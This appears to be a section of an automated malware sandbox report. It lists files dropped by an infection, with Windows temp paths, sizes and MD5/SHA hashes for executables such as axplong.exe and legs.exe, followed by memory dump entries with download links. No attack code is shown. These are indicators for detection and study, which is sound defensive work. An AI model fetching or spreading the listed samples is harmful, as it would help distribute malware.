                  9f6b22bc9d0306a69d3c5bab83c7603fa23925c12089f9608772602ab2c4c0908cda2a3d9592fc0fab4aaff209ef41d3e2a931511ce9dfd027691e8dce9ad9b9

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe
                  Filesize

                  415KB

                  MD5

                  07101cac5b9477ba636cd8ca7b9932cb

                  SHA1

                  59ea7fd9ae6ded8c1b7240a4bf9399b4eb3849f1

                  SHA256

                  488385cd54d14790b03fa7c7dc997ebea3f7b2a8499e5927eb437a3791102a77

                  SHA512

                  02240ff51a74966bc31cfcc901105096eb871f588efaa9be1a829b4ee6f245bd9dca37be7e2946ba6315feea75c3dce5f490847250e62081445cd25b0f406887

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\1000091001\Installer.exe
                  Filesize

                  154KB

                  MD5

                  5f331887bec34f51cca7ea78815621f7

                  SHA1

                  2eb81490dd3a74aca55e45495fa162b31bcb79e7

                  SHA256

                  d7ab2f309ee99f6545c9e1d86166740047965dd8172aec5f0038753c9ff5e9d8

                  SHA512

                  7a66c5d043139a3b20814ac65110f8151cf652e3f9d959489781fdaea33e9f53ce9fd1992f1a32bff73380c7d9ef47200d8b924a8adf415e7a93421d62eb054d

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\1000092001\legs.exe
                  Filesize

                  659KB

                  MD5

                  bbd06263062b2c536b5caacdd5f81b76

                  SHA1

                  c38352c1c08fb0fa5e67a079998ef30ebc962089

                  SHA256

                  1875275da8d576fd9962c5b2bd9fe0e4b4d188caad9549125c8a64ecaf9308c9

                  SHA512

                  7faa4e18cc9d7d82cb8efe8494668e05f75ddd5a8c9c9a058b2246a786a60d7761168862220b70820b02f38f196cfb5f106db36cdcfd5a5a3f9dfd01654eb9ad

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\1000094001\taskweaker.exe
                  Filesize

                  5.1MB

                  MD5

                  a56415678cf762be6180a234493726b0

                  SHA1

                  de0b2237bdb37e30dd192c328e4ffdfd645cbcbd

                  SHA256

                  627d935e2243de2c587bdd817e917ab308ab234590d3118c4716835f31ad3079

                  SHA512

                  c2b03ad7f7c9ce858966e3a53e9322a656b1eca457b4f966f44bb48d17bf4567fa743b39545655828f323620b7172b3df62be6107dc3fd7cc7fcac81c8c7cc97

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\1000099001\Collective.exe
                  Filesize

                  1.3MB

                  MD5

                  636f0bfdc27d0f51067dcef40273c3d1

                  SHA1

                  0b09ef3069c4d356af3c3b4925e56381dbea9e20

                  SHA256

                  9fa53e229617ba027369697219ce6c7bc74b25cbb0980fe6788a65be14907cac

                  SHA512

                  e34e38b161a71cb971969c12eef6d106477712f9540d66e903c410ff8d05e081ca2b73ff8013b57c5089994cc9c702bc15f2b6ca2ee083a1a785af18bb1970d1

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                  Filesize

                  1.8MB

                  MD5

                  7558819d7d8c4a51720952fedd9758fa

                  SHA1

                  b812b6495c1df9ea4019ac3bb510d535cf2415aa

                  SHA256

                  791eaef0785d029d9d27e46ae31a2a21b60ed15078d84d2a85b9b18eb0e315e8

                  SHA512

                  8b8aa1d8d39a09620774c9585ba6fadd233ef1dae6e2533ce15f586af2ddc03b34a88f036070a6be5094f9d5ed8eb02d532895fe307cbf3ff8e335dc8d6248cd

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ins.bat
                  Filesize

                  1KB

                  MD5

                  0be4cbfa51fe5f8010e78553a28f2779

                  SHA1

                  ae21783c148ae1443fa87a43b9b51cb0ab1a799b

                  SHA256

                  cc56d197270cdf7c3b5c193ec5b3c63dd87b57b58f90571649f8f0e29a6f1a90

                  SHA512

                  337a332eecb12cb065a09b3ae01e86802082c576b203ffd1a8270c69172036dc244ecffad1fba3de76d573c77f1315821a563d2a4aed73bfeb9e9bdf6107edfd

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3eht3d0b.c0v.ps1
                  Filesize

                  1B

                  MD5

                  c4ca4238a0b923820dcc509a6f75849b

                  SHA1

                  356a192b7913b04c54574d18c28d46e6395428ab

                  SHA256

                  6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                  SHA512

                  4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\apgyqDq2.xlsm
                  Filesize

                  17KB

                  MD5

                  e566fc53051035e1e6fd0ed1823de0f9

                  SHA1

                  00bc96c48b98676ecd67e81a6f1d7754e4156044

                  SHA256

                  8e574b4ae6502230c0829e2319a6c146aebd51b7008bf5bbfb731424d7952c15

                  SHA512

                  a12f56ff30ea35381c2b8f8af2446cf1daa21ee872e98cad4b863db060acd4c33c5760918c277dadb7a490cb4ca2f925d59c70dc5171e16601a11bc4a6542b04

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\install.bat
                  Filesize

                  568B

                  MD5

                  e861a08036b9eb5f216deb58e8a7934d

                  SHA1

                  5f12dd049df2f88d95f205a4adc307df78ac16ee

                  SHA256

                  e8315164849216f4c670c13b008e063da2176efb5d08939caa321e39a33035eb

                  SHA512

                  7ea2fd3b085bd4b3e27d4dda36e079ec8910173cc2b33ccd06698051eb7d5f2818ed9000761d1fc44e354c06d015feb16e77958dab8a3969a0cee2fd453ca0c9

                  Download Submit

                • memory/596-1038-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/596-1040-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/660-991-0x000000001AFC0000-0x000000001AFFE000-memory.dmp

                  Filesize

                  248KB

                  Download

                • memory/660-997-0x0000000020A10000-0x0000000020F36000-memory.dmp

                  Filesize

                  5.1MB

                  Download

                • memory/660-990-0x000000001AE50000-0x000000001AE62000-memory.dmp

                  Filesize

                  72KB

                  Download

                • memory/660-989-0x000000001EC30000-0x000000001ED3A000-memory.dmp

                  Filesize

                  1.0MB

                  Download

                • memory/660-996-0x000000001F6A0000-0x000000001F862000-memory.dmp

                  Filesize

                  1.8MB

                  Download

                • memory/660-787-0x00000000001D0000-0x000000000025C000-memory.dmp

                  Filesize

                  560KB

                  Download

                • memory/1284-455-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                  Download

                • memory/1284-461-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                  Download

                • memory/1284-454-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                  Download

                • memory/1284-458-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                  Download

                • memory/1284-457-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                  Download

                • memory/1284-456-0x0000000140000000-0x000000014000E000-memory.dmp

                  Filesize

                  56KB

                  Download

                • memory/1336-854-0x00007FFD44D50000-0x00007FFD44D60000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/1336-847-0x00007FFD487B0000-0x00007FFD487C0000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/1336-848-0x00007FFD487B0000-0x00007FFD487C0000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/1336-850-0x00007FFD487B0000-0x00007FFD487C0000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/1336-853-0x00007FFD44D50000-0x00007FFD44D60000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/1336-849-0x00007FFD487B0000-0x00007FFD487C0000-memory.dmp

                  Filesize

                  64KB

                  Download

                • memory/1512-326-0x0000029F3DB60000-0x0000029F3DB7C000-memory.dmp

                  Filesize

                  112KB

                  Download

                • memory/1512-365-0x0000029F3DB80000-0x0000029F3DB8A000-memory.dmp

                  Filesize

                  40KB

                  Download

                • memory/1512-332-0x0000029F56520000-0x0000029F565D9000-memory.dmp

                  Filesize

                  740KB

                  Download

                • memory/2260-995-0x000000001C610000-0x000000001C62E000-memory.dmp

                  Filesize

                  120KB

                  Download

                • memory/2344-483-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/2344-481-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/3076-130-0x000001FFE9DE0000-0x000001FFE9E56000-memory.dmp

                  Filesize

                  472KB

                  Download

                • memory/3076-127-0x000001FFD1B20000-0x000001FFD1B42000-memory.dmp

                  Filesize

                  136KB

                  Download

                • memory/3144-33-0x00000000051E0000-0x0000000005272000-memory.dmp

                  Filesize

                  584KB

                  Download

                • memory/3144-37-0x0000000005550000-0x0000000005562000-memory.dmp

                  Filesize

                  72KB

                  Download

                • memory/3144-36-0x0000000005B40000-0x0000000005C4A000-memory.dmp

                  Filesize

                  1.0MB

                  Download

                • memory/3144-35-0x0000000006150000-0x0000000006756000-memory.dmp

                  Filesize

                  6.0MB

                  Download

                • memory/3144-34-0x00000000051C0000-0x00000000051CA000-memory.dmp

                  Filesize

                  40KB

                  Download

                • memory/3144-232-0x0000000006CF0000-0x0000000006D40000-memory.dmp

                  Filesize

                  320KB

                  Download

                • memory/3144-32-0x0000000005640000-0x0000000005B3E000-memory.dmp

                  Filesize

                  5.0MB

                  Download

                • memory/3144-39-0x00000000055F0000-0x000000000563B000-memory.dmp

                  Filesize

                  300KB

                  Download

                • memory/3144-31-0x0000000000900000-0x0000000000950000-memory.dmp

                  Filesize

                  320KB

                  Download

                • memory/3144-145-0x0000000005DB0000-0x0000000005E16000-memory.dmp

                  Filesize

                  408KB

                  Download

                • memory/3144-38-0x00000000055B0000-0x00000000055EE000-memory.dmp

                  Filesize

                  248KB

                  Download

                • memory/3588-68-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/3588-69-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/3800-53-0x0000000000400000-0x0000000000450000-memory.dmp

                  Filesize

                  320KB

                  Download

                • memory/3880-490-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                  Download

                • memory/3880-491-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                  Download

                • memory/3880-462-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                  Download

                • memory/3880-469-0x0000000000B80000-0x0000000000BA0000-memory.dmp

                  Filesize

                  128KB

                  Download

                • memory/3880-467-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                  Download

                • memory/3880-468-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                  Download

                • memory/3880-472-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                  Download

                • memory/3880-474-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                  Download

                • memory/3880-473-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                  Download

                • memory/3880-471-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                  Download

                • memory/3880-470-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                  Download

                • memory/3880-466-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                  Download

                • memory/3880-465-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                  Download

                • memory/3880-464-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                  Download

                • memory/3880-463-0x0000000140000000-0x0000000140848000-memory.dmp

                  Filesize

                  8.3MB

                  Download

                • memory/3888-255-0x0000000000400000-0x000000000273B000-memory.dmp

                  Filesize

                  35.2MB

                  Download

                • memory/4060-1077-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4060-1079-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4080-231-0x0000000000400000-0x0000000000470000-memory.dmp

                  Filesize

                  448KB

                  Download

                • memory/4080-250-0x00000000094D0000-0x0000000009546000-memory.dmp

                  Filesize

                  472KB

                  Download

                • memory/4080-252-0x0000000009E40000-0x000000000A002000-memory.dmp

                  Filesize

                  1.8MB

                  Download

                • memory/4080-253-0x000000000A540000-0x000000000AA6C000-memory.dmp

                  Filesize

                  5.2MB

                  Download

                • memory/4080-251-0x0000000009040000-0x000000000905E000-memory.dmp

                  Filesize

                  120KB

                  Download

                • memory/4088-999-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4088-994-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4108-0-0x0000000000B00000-0x0000000000FAD000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4108-14-0x0000000000B00000-0x0000000000FAD000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4108-5-0x0000000000B00000-0x0000000000FAD000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4108-3-0x0000000000B00000-0x0000000000FAD000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4108-2-0x0000000000B01000-0x0000000000B2F000-memory.dmp

                  Filesize

                  184KB

                  Download

                • memory/4108-1-0x00000000773F4000-0x00000000773F5000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/4396-95-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-254-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-553-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-15-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-16-0x0000000000DD1000-0x0000000000DFF000-memory.dmp

                  Filesize

                  184KB

                  Download

                • memory/4396-17-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-492-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-488-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-486-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-484-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-475-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-258-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-256-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-662-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-201-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-200-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-102-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-18-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-1008-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4396-1000-0x0000000000DD0000-0x000000000127D000-memory.dmp

                  Filesize

                  4.7MB

                  Download

                • memory/4440-52-0x0000000000C70000-0x0000000000C71000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/4440-54-0x0000000000C70000-0x0000000000C71000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/4584-792-0x0000000000400000-0x0000000000547000-memory.dmp

                  Filesize

                  1.3MB

                  Download

                • memory/4616-538-0x000002CAA3C90000-0x000002CAA3CA2000-memory.dmp

                  Filesize

                  72KB

                  Download

                • memory/4616-551-0x000002CAA3C80000-0x000002CAA3C8A000-memory.dmp

                  Filesize

                  40KB

                  Download

                • memory/4804-1004-0x0000000000400000-0x0000000000547000-memory.dmp

                  Filesize

                  1.3MB

                  Download